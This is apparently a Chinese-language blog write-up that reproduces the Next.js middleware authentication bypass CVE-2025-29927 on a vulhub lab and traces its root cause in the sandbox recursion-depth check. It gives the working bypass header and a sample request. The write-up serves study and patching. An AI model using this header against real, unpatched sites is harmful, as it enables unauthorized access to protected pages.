受影响的版本
Next.js 15.x < 15.2.3
Next.js 14.x < 14.2.25
Next.js 13.x < 13.5.9
环境
使用vulhub中的docker环境,https://github.com/vulhub/vulhub/tree/master/next.js/CVE-2025-29927

复现
访问首页,需要登录,

登录数据包如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| GET /?_rsc=ak96a HTTP/1.1 Host: 172.29.198.146:3000 RSC: 1 Next-Url: /login User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Flogin%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D Accept: */* Referer: http://172.29.198.146:3000/login Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: next_username=admin; next_password=1 Connection: keep-alive
|

登录成功如下:

在http请求头中加入,即可绕过登录认证
1
| x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
|

分析
调试环境搭建
本地调试环境,可以从https://github.com/vulhub/vulhub/tree/master/base/next.js/15.2.2下载,或者像我一样,在docker起好环境后,cp出来

vscode打开,先运行yarn start –port 8081看一下能不能正常运行

可以正常运行后,在目录下建一个.vscode/launch.json文件,内容为

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| { "version": "0.2.0", "configurations": [ { "type": "node", "request": "launch", "name": "Launch via Yarn", "runtimeExecutable": "yarn", "runtimeArgs": ["start", "--port", "8083"], "skipFiles": ["<node_internals>/**"], "sourceMaps": true, "cwd": "${workspaceFolder}" } ] }
|
之后可以看到在运行和调试页面,有一个Launch via Yarn,

点击运行后,在调试控制台中可以看到运行日志

在代码中打上断点,发送数据包,就可以正常断点下来了



不过这里有个问题是,调试时的代码是app/.next/server/middleware.js,而不是app/middleware.js。不过问题不大,
sandbox.js的路径为app/node_modules/next/dist/server/web/sandbox/sandbox.js,
而不是app/node_modules/next/dist/esm/server/web/sandbox/sandbox.js

漏洞代码
漏洞成因的关键点在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| export const run = withTaggedErrors(async function runWithTaggedErrors(params) { var _params_request_body; const runtime = await getRuntimeContext(params); const subreq = params.request.headers[`x-middleware-subrequest`]; const subrequests = typeof subreq === 'string' ? subreq.split(':') : []; const MAX_RECURSION_DEPTH = 5; const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0); if (depth >= MAX_RECURSION_DEPTH) { return { waitUntil: Promise.resolve(), response: new runtime.context.Response(null, { headers: { 'x-middleware-next': '1' } }) }; }
|
代码中const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);这一行的作用是遍历请求头字段x-middleware-subrequest,计算其中等于params.name的元素数量,而params.name的值,通过追踪代码,可以定位到是在
/app/.next/server/middleware-manifest.json这个文件中定义的


因此只需要构造这样一个请求头字段,即可绕过中间件中的所有逻辑
- x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
参考
https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
https://t.zsxq.com/ueXPG
https://mp.weixin.qq.com/s/cge_zC3kd6BkaxHXXNvleQ